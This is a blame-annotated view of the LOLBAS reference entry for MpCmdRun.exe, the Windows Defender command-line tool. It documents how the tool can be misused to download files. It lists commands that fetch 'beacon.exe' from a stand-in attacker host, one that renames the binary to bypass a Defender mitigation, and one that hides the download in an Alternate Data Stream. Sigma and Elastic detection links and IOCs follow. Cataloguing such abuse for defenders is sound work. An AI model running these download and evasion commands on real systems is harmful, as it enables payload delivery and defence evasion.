public-mirrors/LOLBAS
1
0
Fork 0
mirror of https://github.com/LOLBAS-Project/LOLBAS synced 2024-12-28 15:58:24 +01:00
Code Issues Projects Releases Wiki Activity
a6425e5c4e
LOLBAS/yml/OSBinaries/MpCmdRun.yml

56 lines
3.0 KiB
YAML
Raw Normal View History

Added MpCmdRun.exe
2020-09-03 10:55:37 +02:00
---
Name: MpCmdRun.exe
Description: Binary part of Windows Defender. Used to manage settings in Windows Defender
Author: 'Oddvar Moe'
Standardise date formats (see https://yaml.org/type/timestamp.html)
2021-01-10 16:04:52 +01:00
Created: 2020-03-20
Added MpCmdRun.exe
2020-09-03 10:55:37 +02:00
Commands:
- Command: MpCmdRun.exe -DownloadFile -url https://attacker.server/beacon.exe -path c:\\temp\\beacon.exe
Updated per suggestion Thanks!
2020-09-03 17:46:25 +02:00
Description: Download file to specified path - Slashes work as well as dashes (/DownloadFile, /url, /path)
Added MpCmdRun.exe
2020-09-03 10:55:37 +02:00
Usecase: Download file
Category: Download
Privileges: User
MitreID: T1105
OperatingSystem: Windows 10
Update MpCmdRun.yml DownloadFile option has been removed from current MpCmdRun.exe, but old binary remains on disk. Defender cmd line mitigation can be bypassed by simply renaming the binary in a folder controlled by the attacker
2020-09-24 23:09:58 +02:00
- Command: copy "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" C:\Users\Public\Downloads\MP.exe && chdir "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\" && "C:\Users\Public\Downloads\MP.exe" -DownloadFile -url https://attacker.server/beacon.exe -path C:\Users\Public\Downloads\evil.exe
Description: Download file to specified path - Slashes work as well as dashes (/DownloadFile, /url, /path) [updated version to bypass Windows 10 mitigation]
Usecase: Download file
Category: Download
Privileges: User
MitreID: T1105
OperatingSystem: Windows 10
Minor formatting changes (redudant backslashes, incorrect dates, typos, etc.)
2021-12-14 15:57:32 +01:00
- Command: MpCmdRun.exe -DownloadFile -url https://attacker.server/beacon.exe -path c:\temp\nicefile.txt:evil.exe
Added MpCmdRun.exe
2020-09-03 10:55:37 +02:00
Description: Download file to machine and store it in Alternate Data Stream
Usecase: Hide downloaded data inton an Alternate Data Stream
Category: ADS
Privileges: User
MITRE ATT&CK realignment sprint
2021-11-05 19:58:26 +01:00
MitreID: T1564.004
Added MpCmdRun.exe
2020-09-03 10:55:37 +02:00
OperatingSystem: Windows 10
Full_Path:
- Path: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.4-0\MpCmdRun.exe
- Path: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.7-0\MpCmdRun.exe
- Path: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe
Standardise date formats (see https://yaml.org/type/timestamp.html)
2021-01-10 16:04:52 +01:00
Code_Sample:
- Code:
Detection:
Detection Resources and Other Updates (#179) * Add detection links for scripts * Add detection links for OtherMSBins. Fixed and updated as needed. * Add detection links for MSBins. Fixed and updated as needed. * Add detection links for oslibraries * Updating template for Detections * Removing empty Detection:Sigma entries * Remove redundant blank line * Replacing commit URL with file URL Co-authored-by: root <root@DESKTOP-5CR935D.localdomain> Co-authored-by: Wietze <wietze@users.noreply.github.com>
2021-11-15 14:19:03 +01:00
- Sigma: https://github.com/SigmaHQ/sigma/blob/159bf4bbc103cc2be3fef4b7c2e7c8b23b63fd10/rules/windows/process_creation/win_susp_mpcmdrun_download.yml
- Elastic: https://github.com/elastic/detection-rules/blob/6ef5c53b0c15e344f0f2d1649941391aea6fa253/rules/windows/command_and_control_remote_file_copy_mpcmdrun.toml
Added MpCmdRun.exe
2020-09-03 10:55:37 +02:00
- IOC: MpCmdRun storing data into alternate data streams.
Detection Resources and Other Updates (#179) * Add detection links for scripts * Add detection links for OtherMSBins. Fixed and updated as needed. * Add detection links for MSBins. Fixed and updated as needed. * Add detection links for oslibraries * Updating template for Detections * Removing empty Detection:Sigma entries * Remove redundant blank line * Replacing commit URL with file URL Co-authored-by: root <root@DESKTOP-5CR935D.localdomain> Co-authored-by: Wietze <wietze@users.noreply.github.com>
2021-11-15 14:19:03 +01:00
- IOC: MpCmdRun retrieving a file from a remote machine or the internet that is not expected.
Added detection details on mpcmdrun
2020-09-03 15:29:32 +02:00
- IOC: Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching mpcmdrun.exe.
- IOC: Monitor for the creation of %USERPROFILE%\AppData\Local\Temp\MpCmdRun.log
Update MpCmdRun.yml Added note that slashes (/) can also be used as command separators, and that the UA is MpCommunication Thanks!
2020-09-03 16:39:24 +02:00
- IOC: User Agent is "MpCommunication"
Added MpCmdRun.exe
2020-09-03 10:55:37 +02:00
Resources:
- Link: https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-antivirus/command-line-arguments-microsoft-defender-antivirus
- Link: https://twitter.com/mohammadaskar2/status/1301263551638761477
Updated links on mpcmdrun
2020-09-03 11:00:56 +02:00
- Link: https://twitter.com/Oddvarmoe/status/1301444858910052352
Added detection details on mpcmdrun
2020-09-03 15:29:32 +02:00
- Link: https://twitter.com/NotMedic/status/1301506813242867720
Added MpCmdRun.exe
2020-09-03 10:55:37 +02:00
Acknowledgement:
- Person: Askar
Handle: '@mohammadaskar2'
- Person: Oddvar Moe
Handle: '@oddvarmoe'
Updated per suggestion Thanks!
2020-09-03 17:46:25 +02:00
- Person: RichRumble
Handle: ''
Update MpCmdRun.yml DownloadFile option has been removed from current MpCmdRun.exe, but old binary remains on disk. Defender cmd line mitigation can be bypassed by simply renaming the binary in a folder controlled by the attacker
2020-09-24 23:09:58 +02:00
- Person: Cedric
Handle: '@th3c3dr1c'
Reference in New Issue Copy Permalink